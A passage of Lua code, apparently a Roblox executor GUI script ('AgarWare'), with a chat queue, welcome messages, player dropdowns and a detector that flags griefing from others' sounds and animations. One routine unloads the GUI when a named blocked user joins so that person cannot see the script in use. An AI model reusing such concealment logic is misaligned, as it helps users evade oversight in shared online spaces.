G2L["36a"] = Instance.new("LocalScript", G2L["368"]); G2L["36a"]["Name"] = [[RefreshBkitTools]]; -- StarterGui.AgarWareGui.MasterScripts.AGARVOWNERLABEL G2L["36b"] = Instance.new("LocalScript", G2L["368"]); G2L["36b"]["Name"] = [[AGARVOWNERLABEL]]; -- StarterGui.AgarWareGui.MasterScripts.PLAYERLISTUSER G2L["36c"] = Instance.new("LocalScript", G2L["368"]); G2L["36c"]["Name"] = [[PLAYERLISTUSER]]; -- StarterGui.AgarWareGui.MoveToCorGui local function C_2() local script = G2L["2"]; local CoreGui = game:GetService("CoreGui") local RunService = game:GetService("RunService") -- Only move to CoreGui when running in an actual game, not Studio if not RunService:IsStudio() then local gui = script.Parent task.wait() gui.Parent = CoreGui end end; task.spawn(C_2); -- StarterGui.AgarWareGui.ChatQueue local function C_3() local script = G2L["3"]; -- ChatQueue -- All scripts use shared.sendChat(message) instead of sending directly -- This queues messages and sends them one at a time with a small gap local TextChatService = game:GetService("TextChatService") local queue = {} local isProcessing = false local function processQueue() if isProcessing then return end if #queue == 0 then return end isProcessing = true while #queue > 0 do local message = table.remove(queue, 1) if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then TextChatService.TextChannels.RBXGeneral:SendAsync(message) else game:GetService("ReplicatedStorage") .DefaultChatSystemChatEvents .SayMessageRequest :FireServer(message, "All") end task.wait(0.3) end isProcessing = false end shared.sendChat = function(message) table.insert(queue, message) task.spawn(processQueue) end end; task.spawn(C_3); -- StarterGui.AgarWareGui.Execution local function C_4() local script = G2L["4"]; local TextChatService = game:GetService("TextChatService") local Players = game:GetService("Players") local TCO_PLACE_IDS = { 11137575513, 12943245078, 12943247001, 108097274488844, } local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer.PlayerGui -------------------------------------------------- -- DESTROY DUPLICATE GUI -- If this script runs and AgarWareGui already exists, -- destroy the OLD one so the new one loads fresh -------------------------------------------------- local existing = PlayerGui:FindFirstChild("AgarWareGui") if existing and existing ~= script.Parent then existing:Destroy() end -------------------------------------------------- -- WAIT FOR GUI -------------------------------------------------- local AgarWareGui = script.Parent local MainFrame = AgarWareGui:WaitForChild("MainFrame") local KeybindFrame = AgarWareGui:WaitForChild("KeybindFrame") -------------------------------------------------- -- CENTER MAIN FRAME -------------------------------------------------- MainFrame.AnchorPoint = Vector2.new(0.5, 0) MainFrame.Position = UDim2.new(0.5, 0, 0.5, -150) -------------------------------------------------- -- POSITION KEYBIND FRAME TOP RIGHT -------------------------------------------------- local function positionKeybind() KeybindFrame.AnchorPoint = Vector2.new(1, 0) KeybindFrame.Position = UDim2.new(1, -10, 0, 10) end positionKeybind() workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() positionKeybind() end) -------------------------------------------------- -- WELCOME MESSAGE -------------------------------------------------- task.defer(function() local systemChannel = TextChatService.TextChannels:FindFirstChild("RBXSystem") if systemChannel then systemChannel:DisplaySystemMessage("Thank you for using my script - agarvvoid") task.wait(0.1) local currentPlaceId = game.PlaceId local isValidPlace = false for _, id in ipairs(TCO_PLACE_IDS) do if currentPlaceId == id then isValidPlace = true break end end if isValidPlace then local topPlayer = nil local topTime = -1 for _, player in ipairs(Players:GetPlayers()) do local leaderstats = player:FindFirstChild("leaderstats") if leaderstats then local timeVal = leaderstats:FindFirstChild("Time") if timeVal and timeVal.Value > topTime then topTime = timeVal.Value topPlayer = player end end end if topPlayer then local isFriend = false local success, result = pcall(function() return LocalPlayer:IsFriendsWith(topPlayer.UserId) end) if success then isFriend = result end local displayName = topPlayer.DisplayName local label = isFriend and (displayName .. " (Friend)") or displayName systemChannel:DisplaySystemMessage("Current Admin: " .. label) end end end end) end; task.spawn(C_4); -- StarterGui.AgarWareGui.UnloadBLACKLIST local function C_5() local script = G2L["5"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- The ID you want to hide from seeing you use the script local BLOCKED_ID = 8615658150 -- Exception list: these users will NOT trigger the unload local EXCEPTIONS = { 9763171531, -- pealz 10304502709, -- mental 2581030028, -- valtiel 10340049663, -- evilguy 10587072700, -- agarv alt 574381128, -- agarv } local function isException(userId) for _, id in ipairs(EXCEPTIONS) do if id == userId then return true end end return false end local function isBlocked(player) if isException(player.UserId) then return false end return player.UserId == BLOCKED_ID and player ~= LocalPlayer end local function unloadScript() pcall(function() local screenGui = LocalPlayer.PlayerGui:FindFirstChild("AgarWareGui") if screenGui then screenGui:Destroy() print("Script unloaded: Blacklisted user detected.") end end) end for _, player in ipairs(Players:GetPlayers()) do if isBlocked(player) then unloadScript() return end end Players.PlayerAdded:Connect(function(player) if isBlocked(player) then unloadScript() end end) end; task.spawn(C_5); -- StarterGui.AgarWareGui.GriefDetectorConsole local function C_6() local script = G2L["6"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local ScreenGui = script.Parent -------------------------------------------------- -- SHARED EVENTS -------------------------------------------------- shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent") shared.DeleteGriefEvent = shared.DeleteGriefEvent or Instance.new("BindableEvent") shared.PaintGriefEvent = shared.PaintGriefEvent or Instance.new("BindableEvent") shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent") shared.BuildGriefEvent = shared.BuildGriefEvent or Instance.new("BindableEvent") shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent") -------------------------------------------------- -- IDS -------------------------------------------------- local BRICK_SOUND_ID = "rbxassetid://9117183621" local PAINT_SOUND_ID = "rbxassetid://18473826" local DELETE_ANIM_ID = "17755760862" -------------------------------------------------- -- SETTINGS -------------------------------------------------- local MAX_DISTANCE = 30 local SOUND_MIN_NORMAL = 0.04 local SOUND_MAX_NORMAL = 0.15 local SOUND_MIN_EXPLOIT = 0.01 local SOUND_MAX_EXPLOIT = 0.15 local SLASH_WINDOW = 0.5 local EXPLOIT_WAIT = 0.5 local EXPLOIT_SOUND_WAIT = 1.0 local DELCUBE_THRESHOLD = 4 local GRIEF_COUNT = 12 local GRIEF_TIME = 5 local EXPLOIT_COUNT = 40 local EXPLOIT_TIME = 7 local SPAM_COUNT = 60 local SPAM_TIME = 13 -------------------------------------------------- -- ATTRIBUTE HELPERS -------------------------------------------------- local function isDeleteOn() return ScreenGui:GetAttribute("DeleteLogsEnabled") == true end local function isPaintOn() return ScreenGui:GetAttribute("PaintLogsEnabled") == true end local function isExploitOn() return ScreenGui:GetAttribute("ExploitsLogsEnabled") == true end local function isSpamOn() return ScreenGui:GetAttribute("SpamLogsEnabled") == true end local function anyOn() return isDeleteOn() or isPaintOn() or isExploitOn() or isSpamOn() end -------------------------------------------------- -- GRIEF SETTINGS -------------------------------------------------- local function isWhitelisted(player) local w = shared.GriefWhitelist return w and w[player.Name] == true end local function hasArkenstone(player) local b = player:FindFirstChild("Backpack") return b and b:FindFirstChild("The Arkenstone") ~= nil end local function passesEnlightenCheck(player) local e = shared.GriefEnlightenEnabled if e == nil then e = true end if e then return true end return not hasArkenstone(player) end local function passesTimeFilterCheck(player) local filter = shared.GriefTimeFilter or 0 if filter == 0 then return true end local ls = player:FindFirstChild("leaderstats") if not ls then return true end local t = ls:FindFirstChild("Time") if not t then return true end return t.Value < filter end local function passesInGameCheck(ownerName) local e = shared.GriefInGameEnabled if e == nil then e = true end if e then return true end return Players:FindFirstChild(ownerName) ~= nil end local OWNER_IDS = { 574381128, -- main 10587072700, -- alt 1 8308247571, -- alt 2 10837544781, -- agarv609 } local function isOwner(player) for _, id in ipairs(OWNER_IDS) do if player.UserId == id then return true end end return false end local function passesFilters(player, ownerName) if isOwner(player) then return false end if isWhitelisted(player) then return false end if not passesEnlightenCheck(player) then return false end if not passesTimeFilterCheck(player) then return false end if not passesInGameCheck(ownerName) then return false end return true end -------------------------------------------------- -- STATE -------------------------------------------------- local isRunning = false local connections = {} local recentDeleteSound = {} local recentPaintSound = {} local recentSlashAnim = {} local deleteTracker = {} local deleteCooldown = {} local paintTracker = {} local paintCooldown = {} local exploitDeleteTracker = {} local exploitDeleteCooldown = {} local exploitPaintTracker = {} local exploitPaintCooldown = {} local spamTracker = {} local spamCooldown = {} local delcubeTracker = {} local function clearTable(t) for k in pairs(t) do t[k] = nil end end local function clearArray(t) for i = #t, 1, -1 do table.remove(t, i) end end -------------------------------------------------- -- GRIEF COUNTER -------------------------------------------------- local function addCount(tracker, userId, now, window) tracker[userId] = tracker[userId] or {times = {}} local times = tracker[userId].times table.insert(times, now) for i = #times, 1, -1 do if now - times[i] > window then table.remove(times, i) end end return #times end local function resetCount(tracker, userId) tracker[userId] = {times = {}} end -------------------------------------------------- -- HELPERS -------------------------------------------------- local function getHRP(player) if not player.Character then return nil end return player.Character:FindFirstChild("HumanoidRootPart") end local function getPlayerDist(player, pos) local hrp = getHRP(player) if not hrp then return math.huge end return (hrp.Position - pos).Magnitude end local function playedSlashNear(player, eventTime) local t = recentSlashAnim[player.UserId] if not t then return false end return math.abs(t - eventTime) <= SLASH_WINDOW end local function playedDeleteSoundInRange(player, eventTime, sMin, sMax) local t = recentDeleteSound[player.UserId] if not t then return false end local delay = t - eventTime return delay >= sMin and delay <= sMax end local function playedPaintSoundInRange(player, eventTime, sMin, sMax) local t = recentPaintSound[player.UserId] if not t then return false end local delay = t - eventTime return delay >= sMin and delay <= sMax end local function waitUntil(condFn, timeout) local start = tick() while tick() - start < timeout do if condFn() then return true end RunService.Heartbeat:Wait() end return condFn() end local function getDisplayName(player) if player.DisplayName ~= player.Name then return player.Name .. " / " .. player.DisplayName end return player.Name end -------------------------------------------------- -- DELCUBE CHECK -------------------------------------------------- local function isDelcube(folderName, removedAt) local entry = delcubeTracker[folderName] if not entry then delcubeTracker[folderName] = {lastTick = removedAt, count = 1} return false end local diff = removedAt - entry.lastTick if diff < 0.05 then entry.count = entry.count + 1 entry.lastTick = removedAt return entry.count >= DELCUBE_THRESHOLD else delcubeTracker[folderName] = {lastTick = removedAt, count = 1} return false end end -------------------------------------------------- -- FLAG DELETE -------------------------------------------------- local function flagDelete(player, ownerName) if deleteCooldown[player.UserId] and tick() < deleteCooldown[player.UserId] then return end local count = addCount(deleteTracker, player.UserId, tick(), GRIEF_TIME) local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)" local display = getDisplayName(player) if count >= GRIEF_COUNT then local cooldown = shared.GriefCooldown or 30 print("[GRIEFLOG] 🚨 " .. display .. " | Triggered Delete Detection | Cooldown: " .. cooldown) shared.GriefEvent:Fire(player, "delete") shared.DeleteGriefEvent:Fire(player) resetCount(deleteTracker, player.UserId) deleteCooldown[player.UserId] = tick() + cooldown task.delay(cooldown, function() print("[DELETE] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")") end) end end -------------------------------------------------- -- FLAG PAINT -------------------------------------------------- local function flagPaint(player, ownerName) if paintCooldown[player.UserId] and tick() < paintCooldown[player.UserId] then return end local count = addCount(paintTracker, player.UserId, tick(), GRIEF_TIME) local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)" local display = getDisplayName(player) if count >= GRIEF_COUNT then local cooldown = shared.GriefCooldown or 30 print("[GRIEFLOG] 🚨 " .. display .. " | Triggered Paint Detection | Cooldown: " .. cooldown) shared.GriefEvent:Fire(player, "paint") shared.PaintGriefEvent:Fire(player) resetCount(paintTracker, player.UserId) paintCooldown[player.UserId] = tick() + cooldown task.delay(cooldown, function() print("[PAINT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")") end) end end -------------------------------------------------- -- FLAG EXPLOIT DELETE -------------------------------------------------- local function flagExploitDelete(player, ownerName) if exploitDeleteCooldown[player.UserId] and tick() < exploitDeleteCooldown[player.UserId] then return end local count = addCount(exploitDeleteTracker, player.UserId, tick(), EXPLOIT_TIME) local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)" local display = getDisplayName(player) if count >= EXPLOIT_COUNT then local cooldown = shared.GriefCooldown or 30 print("[GRIEFLOG] 🚨 " .. display .. " | Triggered Exploit Detection (Delete) | Cooldown: " .. cooldown) shared.GriefEvent:Fire(player, "exploit") shared.ExploitGriefEvent:Fire(player) resetCount(exploitDeleteTracker, player.UserId) exploitDeleteCooldown[player.UserId] = tick() + cooldown task.delay(cooldown, function() print("[DELETE EXPLOIT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")") end) end end -------------------------------------------------- -- FLAG EXPLOIT PAINT -------------------------------------------------- local function flagExploitPaint(player, ownerName) if exploitPaintCooldown[player.UserId] and tick() < exploitPaintCooldown[player.UserId] then return end local count = addCount(exploitPaintTracker, player.UserId, tick(), EXPLOIT_TIME) local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)" local display = getDisplayName(player) if count >= EXPLOIT_COUNT then local cooldown = shared.GriefCooldown or 30 print("[GRIEFLOG] 🚨 " .. display .. " | Triggered Exploit Detection (Paint) | Cooldown: " .. cooldown) shared.GriefEvent:Fire(player, "exploit") shared.ExploitGriefEvent:Fire(player) resetCount(exploitPaintTracker, player.UserId) exploitPaintCooldown[player.UserId] = tick() + cooldown task.delay(cooldown, function() print("[PAINT EXPLOIT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")") end) end end -------------------------------------------------- -- FLAG SPAM -------------------------------------------------- local function flagSpam(player) if spamCooldown[player.UserId] and tick() < spamCooldown[player.UserId] then return end local count = addCount(spamTracker, player.UserId, tick(), SPAM_TIME) if count % 10 == 0 then print("[BUILD] " .. player.Name .. " build spam | Count: " .. count .. "/" .. SPAM_COUNT) end if count >= SPAM_COUNT then local cooldown = shared.GriefCooldown or 30 print("[BUILDGRIEFLOG] 🚨 " .. player.Name .. " is placing blocks too fast | Cooldown: " .. cooldown) shared.GriefEvent:Fire(player, "build") shared.BuildGriefEvent:Fire(player) resetCount(spamTracker, player.UserId) spamCooldown[player.UserId] = tick() + cooldown task.delay(cooldown, function() print("[BUILD] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")") end) end end -------------------------------------------------- -- EXPLOIT DETECTION (DELETE) -- Only flags players OUTSIDE 30 studs from brick -------------------------------------------------- local function runExploitDelete(ownerName, brickPos, eventTime) if not isExploitOn() then return end -- Wait up to 1s for someone to play the brick sound local soundPlayed = waitUntil(function() for _, player in ipairs(Players:GetPlayers()) do local t = recentDeleteSound[player.UserId] if t and (t - eventTime) >= SOUND_MIN_EXPLOIT and (t - eventTime) <= SOUND_MAX_EXPLOIT then return true end end return false end, EXPLOIT_SOUND_WAIT) if not soundPlayed then return end -- Collect who played the sound in the exploit window AND is outside 30 studs local soundPlayers = {} for _, player in ipairs(Players:GetPlayers()) do local t = recentDeleteSound[player.UserId] if t then local delay = t - eventTime if delay >= SOUND_MIN_EXPLOIT and delay <= SOUND_MAX_EXPLOIT then -- Only flag if outside 30 studs if getPlayerDist(player, brickPos) > MAX_DISTANCE then table.insert(soundPlayers, player) end end end end if #soundPlayers == 0 then return end -- Wait 0.5s before checking slash and logging task.wait(EXPLOIT_WAIT) local slashPlayers = {} local noSlashPlayers = {} for _, player in ipairs(soundPlayers) do if playedSlashNear(player, eventTime) then table.insert(slashPlayers, player) else table.insert(noSlashPlayers, player) end end local toFlag = #noSlashPlayers > 0 and noSlashPlayers or slashPlayers -- Cancel if own brick for _, player in ipairs(toFlag) do if player.Name == ownerName then return end end for _, player in ipairs(toFlag) do if passesFilters(player, ownerName) then flagExploitDelete(player, ownerName) end end end -------------------------------------------------- -- EXPLOIT DETECTION (PAINT) -- Only flags players OUTSIDE 30 studs from brick -------------------------------------------------- local function runExploitPaint(ownerName, brickPos, eventTime) if not isExploitOn() then return end local soundPlayed = waitUntil(function() for _, player in ipairs(Players:GetPlayers()) do local t = recentPaintSound[player.UserId] if t and (t - eventTime) >= SOUND_MIN_EXPLOIT and (t - eventTime) <= SOUND_MAX_EXPLOIT then return true end end return false end, EXPLOIT_SOUND_WAIT) if not soundPlayed then return end local soundPlayers = {} for _, player in ipairs(Players:GetPlayers()) do local t = recentPaintSound[player.UserId] if t then local delay = t - eventTime if delay >= SOUND_MIN_EXPLOIT and delay <= SOUND_MAX_EXPLOIT then if getPlayerDist(player, brickPos) > MAX_DISTANCE then table.insert(soundPlayers, player) end end end end if #soundPlayers == 0 then return end task.wait(EXPLOIT_WAIT) local slashPlayers = {} local noSlashPlayers = {} for _, player in ipairs(soundPlayers) do if playedSlashNear(player, eventTime) then table.insert(slashPlayers, player) else table.insert(noSlashPlayers, player) end end local toFlag = #noSlashPlayers > 0 and noSlashPlayers or slashPlayers for _, player in ipairs(toFlag) do if player.Name == ownerName then return end end for _, player in ipairs(toFlag) do if passesFilters(player, ownerName) then flagExploitPaint(player, ownerName) end end end -------------------------------------------------- -- DELETE DETECTION -------------------------------------------------- local function handleDelete(brickPos, ownerName, removedAt) if isDelcube(ownerName, removedAt) then return end task.spawn(function() -- Step 1: Check who was within 30 studs local inRange = {} for _, player in ipairs(Players:GetPlayers()) do if getPlayerDist(player, brickPos) <= MAX_DISTANCE then table.insert(inRange, player) end end if #inRange == 0 then task.spawn(runExploitDelete, ownerName, brickPos, removedAt) return end -- Step 2: Wait up to SOUND_MAX_NORMAL for brick sound from in-range players local detected = {} waitUntil(function() detected = {} for _, player in ipairs(inRange) do if playedDeleteSoundInRange(player, removedAt, SOUND_MIN_NORMAL, SOUND_MAX_NORMAL) then table.insert(detected, player) end end return #detected > 0 end, SOUND_MAX_NORMAL) if #detected == 0 then task.spawn(runExploitDelete, ownerName, brickPos, removedAt) return end -- Step 3: Cancel if own brick for _, player in ipairs(detected) do if player.Name == ownerName then return end end -- Step 4: Flag all detected if isDeleteOn() then for _, player in ipairs(detected) do if passesFilters(player, ownerName) then flagDelete(player, ownerName) end end end end) end -------------------------------------------------- -- PAINT DETECTION -------------------------------------------------- local function handlePaint(brickPos, ownerName, changedAt) task.spawn(function() local inRange = {} for _, player in ipairs(Players:GetPlayers()) do if getPlayerDist(player, brickPos) <= MAX_DISTANCE then table.insert(inRange, player) end end if #inRange == 0 then task.spawn(runExploitPaint, ownerName, brickPos, changedAt) return end local detected = {} waitUntil(function() detected = {} for _, player in ipairs(inRange) do if playedPaintSoundInRange(player, changedAt, SOUND_MIN_NORMAL, SOUND_MAX_NORMAL) then table.insert(detected, player) end end return #detected > 0 end, SOUND_MAX_NORMAL) if #detected == 0 then task.spawn(runExploitPaint, ownerName, brickPos, changedAt) return end for _, player in ipairs(detected) do if player.Name == ownerName then return end end if isPaintOn() then for _, player in ipairs(detected) do if passesFilters(player, ownerName) then flagPaint(player, ownerName) end end end end) end -------------------------------------------------- -- SOUND TRACKING -------------------------------------------------- local function hookHRP(player, hrp) local function trackSound(obj) if not obj:IsA("Sound") then return end local lastTime = 0 local wasPlaying = false if obj.SoundId == BRICK_SOUND_ID then local c = RunService.Heartbeat:Connect(function() if not obj.Parent then return end local t = obj.TimePosition local playing = obj.IsPlaying if playing then if not wasPlaying or (lastTime > 0.05 and t < 0.05) then recentDeleteSound[player.UserId] = tick() end end lastTime = t wasPlaying = playing end) table.insert(connections, c) elseif obj.SoundId == PAINT_SOUND_ID then local c = RunService.Heartbeat:Connect(function() if not obj.Parent then return end local t = obj.TimePosition local playing = obj.IsPlaying if playing then if not wasPlaying or (lastTime > 0.05 and t < 0.05) then recentPaintSound[player.UserId] = tick() end end lastTime = t wasPlaying = playing end) table.insert(connections, c) end end for _, obj in pairs(hrp:GetDescendants()) do trackSound(obj) end local c = hrp.DescendantAdded:Connect(trackSound) table.insert(connections, c) end -------------------------------------------------- -- SLASH ANIM TRACKING -------------------------------------------------- local function hookAnim(player) local lastTime = 0 local wasPlaying = false local c = RunService.Heartbeat:Connect(function() local char = player.Character if not char then return end local hum = char:FindFirstChildOfClass("Humanoid") if not hum then return end local animator = hum:FindFirstChildOfClass("Animator") if not animator then return end for _, track in pairs(animator:GetPlayingAnimationTracks()) do if track.Animation and track.Animation.AnimationId:find(DELETE_ANIM_ID) then local t = track.TimePosition if not wasPlaying or (lastTime > 0.05 and t < 0.05) then recentSlashAnim[player.UserId] = tick() end lastTime = t wasPlaying = true return end end wasPlaying = false end) table.insert(connections, c) end -------------------------------------------------- -- PLAYER WATCHER -------------------------------------------------- local function watchPlayer(player) if player.Character then local hrp = player.Character:FindFirstChild("HumanoidRootPart") if hrp then hookHRP(player, hrp) end end local cc = player.CharacterAdded:Connect(function(char) local hrp = char:WaitForChild("HumanoidRootPart", 10) if hrp then hookHRP(player, hrp) end end) table.insert(connections, cc) hookAnim(player) end -------------------------------------------------- -- BRICK WATCHERS -------------------------------------------------- local function watchBrick(brick, ownerName) if not isPaintOn() and not isExploitOn() then return end local props = {"BrickColor", "Material", "Anchored", "CanCollide"} for _, prop in ipairs(props) do local c = brick:GetPropertyChangedSignal(prop):Connect(function() if not isPaintOn() and not isExploitOn() then return end handlePaint(brick.Position, ownerName, tick()) end) table.insert(connections, c) end local c1 = brick.ChildAdded:Connect(function(child) if child.Name ~= "Light" and child.Name ~= "Drag" then return end if not isPaintOn() and not isExploitOn() then return end handlePaint(brick.Position, ownerName, tick()) end) table.insert(connections, c1) end local function watchFolder(folder) local ownerName = folder.Name if isDeleteOn() or isExploitOn() then local c = folder.ChildRemoved:Connect(function(child) if child.Name ~= "Brick" then return end if not isDeleteOn() and not isExploitOn() then return end handleDelete(child.Position, ownerName, tick()) end) table.insert(connections, c) end local c = folder.ChildAdded:Connect(function(child) if child.Name ~= "Brick" then return end if not isSpamOn() then return end local player = Players:FindFirstChild(ownerName) if not player then return end if not passesFilters(player, ownerName) then return end flagSpam(player) end) table.insert(connections, c) local c2 = folder.ChildAdded:Connect(function(child) if child.Name ~= "Brick" then return end watchBrick(child, ownerName) end) table.insert(connections, c2) for _, child in ipairs(folder:GetChildren()) do if child.Name == "Brick" then watchBrick(child, ownerName) end end end -------------------------------------------------- -- START / STOP -------------------------------------------------- local function startWatching() if isRunning then return end isRunning = true local bricksFolder = workspace:WaitForChild("Bricks") for _, p in ipairs(Players:GetPlayers()) do watchPlayer(p) end local c1 = Players.PlayerAdded:Connect(watchPlayer) table.insert(connections, c1) Players.PlayerRemoving:Connect(function(player) local uid = player.UserId recentDeleteSound[uid] = nil recentPaintSound[uid] = nil recentSlashAnim[uid] = nil deleteTracker[uid] = nil deleteCooldown[uid] = nil paintTracker[uid] = nil paintCooldown[uid] = nil exploitDeleteTracker[uid] = nil exploitDeleteCooldown[uid] = nil exploitPaintTracker[uid] = nil exploitPaintCooldown[uid] = nil spamTracker[uid] = nil spamCooldown[uid] = nil end) for _, folder in ipairs(bricksFolder:GetChildren()) do watchFolder(folder) end local c2 = bricksFolder.ChildAdded:Connect(watchFolder) table.insert(connections, c2) end local function stopWatching() if not isRunning then return end isRunning = false for _, c in ipairs(connections) do pcall(function() c:Disconnect() end) end clearArray(connections) clearTable(recentDeleteSound) clearTable(recentPaintSound) clearTable(recentSlashAnim) clearTable(deleteTracker) clearTable(deleteCooldown) clearTable(paintTracker) clearTable(paintCooldown) clearTable(exploitDeleteTracker) clearTable(exploitDeleteCooldown) clearTable(exploitPaintTracker) clearTable(exploitPaintCooldown) clearTable(spamTracker) clearTable(spamCooldown) clearTable(delcubeTracker) end -------------------------------------------------- -- ATTRIBUTE WATCHERS -------------------------------------------------- local ATTRS = {"DeleteLogsEnabled", "PaintLogsEnabled", "ExploitsLogsEnabled", "SpamLogsEnabled"} for _, attr in ipairs(ATTRS) do ScreenGui:GetAttributeChangedSignal(attr):Connect(function() if anyOn() then startWatching() else stopWatching() end end) end if anyOn() then startWatching() end end; task.spawn(C_6); -- StarterGui.AgarWareGui.DropdownMaster local function C_7() local script = G2L["7"]; -- DropdownMaster - Place under ScreenGui as LocalScript local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local LocalPlayer = Players.LocalPlayer local ROW_HEIGHT = 16 local MAX_ROWS = 7 local BG = Color3.fromRGB(24, 24, 24) local BORDER = Color3.fromRGB(57, 57, 57) local WHITE = Color3.new(1, 1, 1) local DIM = Color3.fromRGB(120, 120, 120) local BLUE = Color3.fromRGB(0, 123, 255) local HOVER = Color3.fromRGB(36, 36, 36) local BTN_BG = Color3.fromRGB(36, 36, 36) local cachedThumbs = {} local function getThumb(userId) if cachedThumbs[userId] then return cachedThumbs[userId] end local ok, img = pcall(function() return Players:GetUserThumbnailAsync(userId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48) end) local result = ok and img or "" cachedThumbs[userId] = result return result end local function getScreenGui(element) local p = element while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local function create(config) local dropdown = config.dropdown local mode = config.mode or "players" -- "players" or "custom" local multiSelect = config.multiSelect == true local showIcons = config.showIcons ~= false local selectedPlayers = config.initialSelection or {} local selectedPlayer = nil -- For single-select local selectedValue = nil -- For custom single-select local showDisplay = false local isOpen = false if not game:IsLoaded() then game.Loaded:Wait() end repeat task.wait() until dropdown.AbsoluteSize.X > 0 local mainLabel = Instance.new("TextLabel") mainLabel.Name = "MainLabel" mainLabel.Size = UDim2.new(1, -24, 1, 0) mainLabel.BackgroundTransparency = 1 mainLabel.Text = multiSelect and "Select Players" or "Select Player" mainLabel.TextColor3 = WHITE mainLabel.TextSize = 14 mainLabel.Font = Enum.Font.Code mainLabel.TextXAlignment = Enum.TextXAlignment.Center mainLabel.TextTruncate = Enum.TextTruncate.AtEnd mainLabel.ZIndex = 2 mainLabel.Parent = dropdown local mainArrow = Instance.new("TextLabel") mainArrow.Name = "MainArrow" mainArrow.Size = UDim2.new(0, 24, 1, 0) mainArrow.Position = UDim2.new(1, -24, 0, 0) mainArrow.BackgroundTransparency = 1 mainArrow.Text = "▼" mainArrow.TextColor3 = WHITE mainArrow.TextSize = 14 mainArrow.Font = Enum.Font.Code mainArrow.TextXAlignment = Enum.TextXAlignment.Center mainArrow.ZIndex = 2 mainArrow.Parent = dropdown local screenGui = getScreenGui(dropdown) local panel = Instance.new("Frame") panel.BackgroundColor3 = BG panel.BorderSizePixel = 0 panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT) panel.ZIndex = 999 panel.Visible = false panel.Parent = screenGui local panelStroke = Instance.new("UIStroke") panelStroke.Color = BORDER panelStroke.Thickness = 1 panelStroke.Parent = panel local searchBox = Instance.new("TextBox") searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT) searchBox.BackgroundColor3 = BG searchBox.BorderSizePixel = 0 searchBox.Text = "" searchBox.PlaceholderText = "Search for users..." searchBox.PlaceholderColor3 = DIM searchBox.TextColor3 = WHITE searchBox.TextSize = 14 searchBox.Font = Enum.Font.Code searchBox.TextXAlignment = Enum.TextXAlignment.Left searchBox.ClearTextOnFocus = false searchBox.ZIndex = 1000 searchBox.Parent = panel local searchPad = Instance.new("UIPadding") searchPad.PaddingLeft = UDim.new(0, 6) searchPad.PaddingRight = UDim.new(0, 24) searchPad.Parent = searchBox local searchArrow = Instance.new("TextButton") searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT) searchArrow.Position = UDim2.new(1, -24, 0, 0) searchArrow.BackgroundTransparency = 1 searchArrow.Text = "▲" searchArrow.TextColor3 = WHITE searchArrow.TextSize = 14 searchArrow.Font = Enum.Font.Code searchArrow.BorderSizePixel = 0 searchArrow.ZIndex = 1001 searchArrow.Parent = panel local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT) scrollFrame.Size = UDim2.new(1, 0, 0, 0) scrollFrame.BackgroundTransparency = 1 scrollFrame.BorderSizePixel = 0 scrollFrame.ScrollBarThickness = 2 scrollFrame.ScrollBarImageColor3 = BORDER scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0) scrollFrame.ZIndex = 1000 scrollFrame.Parent = panel local listLayout = Instance.new("UIListLayout") listLayout.SortOrder = Enum.SortOrder.LayoutOrder listLayout.Parent = scrollFrame local bottomButtons = config.bottomButtons or {} local rows = math.ceil(#bottomButtons / 2) local bottomBarHeight = (ROW_HEIGHT + 2) * rows local bottomBar = Instance.new("Frame") bottomBar.Size = UDim2.new(1, 0, 0, bottomBarHeight) bottomBar.BackgroundColor3 = Color3.fromRGB(18, 18, 18) bottomBar.BorderSizePixel = 0 bottomBar.ZIndex = 1000 bottomBar.Parent = panel local bottomStroke = Instance.new("UIStroke") bottomStroke.Color = BORDER bottomStroke.Thickness = 1 bottomStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border bottomStroke.Parent = bottomBar local function updateMainLabel() local count = 0 local names = {} for name, _ in pairs(selectedPlayers) do count = count + 1 local player = Players:FindFirstChild(name) if player then local displayText = showDisplay and player.DisplayName or player.Name table.insert(names, displayText) end end if count == 0 then mainLabel.Text = "Select Players" elseif count <= 2 then mainLabel.Text = table.concat(names, ", ") else mainLabel.Text = count .. " Players Selected" end end local function updatePanelSize(rowCount) local visibleRows = math.min(rowCount, MAX_ROWS) local scrollH = visibleRows * ROW_HEIGHT scrollFrame.Size = UDim2.new(1, 0, 0, scrollH) panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH + bottomBarHeight) scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT) bottomBar.Position = UDim2.new(0, 0, 0, ROW_HEIGHT + scrollH) end local function buildList(filter) for _, child in pairs(scrollFrame:GetChildren()) do if child:IsA("Frame") then child:Destroy() end end local itemList = {} if mode == "custom" then -- Custom items mode for _, item in ipairs(config.items or {}) do if filter == "" or item:lower():find(filter:lower(), 1, true) then table.insert(itemList, { value = item, displayText = item, isCustom = true }) end end else -- Player mode for _, p in pairs(Players:GetPlayers()) do table.insert(itemList, { value = p, displayText = showDisplay and p.DisplayName or p.Name, userId = p.UserId, isCustom = false }) end table.sort(itemList, function(a, b) return a.displayText:lower() < 